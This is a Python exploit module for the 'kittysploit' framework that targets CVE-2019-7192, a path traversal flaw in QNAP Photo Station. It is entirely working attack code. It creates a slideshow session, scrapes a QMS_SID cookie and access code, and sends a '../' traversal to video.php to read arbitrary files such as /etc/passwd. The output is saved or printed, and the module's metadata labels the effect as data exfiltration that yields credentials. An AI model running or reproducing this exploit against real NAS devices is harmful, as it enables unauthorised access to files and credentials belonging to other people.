QNAP Photo Station File Read (CVE-2019-7192)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""QNAP Photo Station path traversal file read (CVE-2019-7192)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'QNAP Photo Station File Read (CVE-2019-7192)',
        'description': (
            'Exploits CVE-2019-7192 in QNAP Photo Station: album/slideshow workflow plus '
            'filename traversal in /p/api/video.php reads arbitrary files.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-7192'],
        'platform': Platform.LINUX,
        'references': [
            'https://www.qnap.com/en/security-advisory/nas-201911-25',
            'https://nvd.nist.gov/vuln/detail/CVE-2019-7192',
        ],
        'tags': ['qnap', 'nas', 'photostation', 'lfi', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['data_exfiltration'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2019_7192_detect'],
            },
        },
    }

    base_path = OptString('', 'Photo Station base path prefix', required=False, advanced=True)
    file_path = OptString('/etc/passwd', 'Remote file to read', required=True)
    output_file = OptString('', 'Local output file', required=False)

    def _prefix(self) -> str:
        base = str(self.base_path or '').strip()
        if not base or base == '/':
            return ''
        if not base.startswith('/'):
            base = '/' + base
        return base.rstrip('/')

    def _session(self) -> tuple[str, str, str] | None:
        prefix = self._prefix()
        r = self.http_request(
            method='POST',
            path=f'{prefix}/p/api/album.php',
            data='a=setSlideshow&f=qsamplealbum',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r or r.status_code != 200:
            return None
        m = re.search(r'<output>([^<]+)', r.text or '')
        if not m:
            return None
        album_id = m.group(1)
        cookie = None
        for k, v in (r.headers or {}).items():
            if str(k).lower() == 'set-cookie' and 'QMS_SID=' in str(v):
                cm = re.search(r'(QMS_SID=[^;]+)', str(v))
                if cm:
                    cookie = cm.group(1)
                    break
        if not cookie or '=' not in cookie:
            return None
        cname, cval = cookie.split('=', 1)
        r2 = self.http_request(
            method='GET',
            path=f'{prefix}/slideshow.php?album={album_id}',
            cookies={cname: cval},
            allow_redirects=False,
        )
        if not r2:
            return None
        am = re.search(r"encodeURIComponent\('([^']+)", r2.text or '')
        if not am:
            return None
        return album_id, am.group(1), cval

    def execute(self, remote_path: str) -> str:
        sess = self._session()
        if not sess:
            return ''
        album_id, access_code, sid = sess
        prefix = self._prefix()
        remote = remote_path if remote_path.startswith('/') else f'/{remote_path}'
        traversal = '../' * 9 + remote.lstrip('/')
        data = f'album={album_id}&a=caption&ac={access_code}&filename={traversal}'
        r = self.http_request(
            method='POST',
            path=f'{prefix}/p/api/video.php',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            cookies={'QMS_SID': sid},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:.*:0:0:', body or '') or re.search(r'admin:.*:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2019-7192 traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'QNAP traversal chain failed', 'confidence': 'medium'}

    def run(self):
        target = str(self.file_path or '/etc/passwd')
        body = self.execute(target)
        if not body:
            print_error('Empty response')
            return False
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Wrote {len(body)} bytes to {out}')
        else:
            print_success(body[:4000])
        return True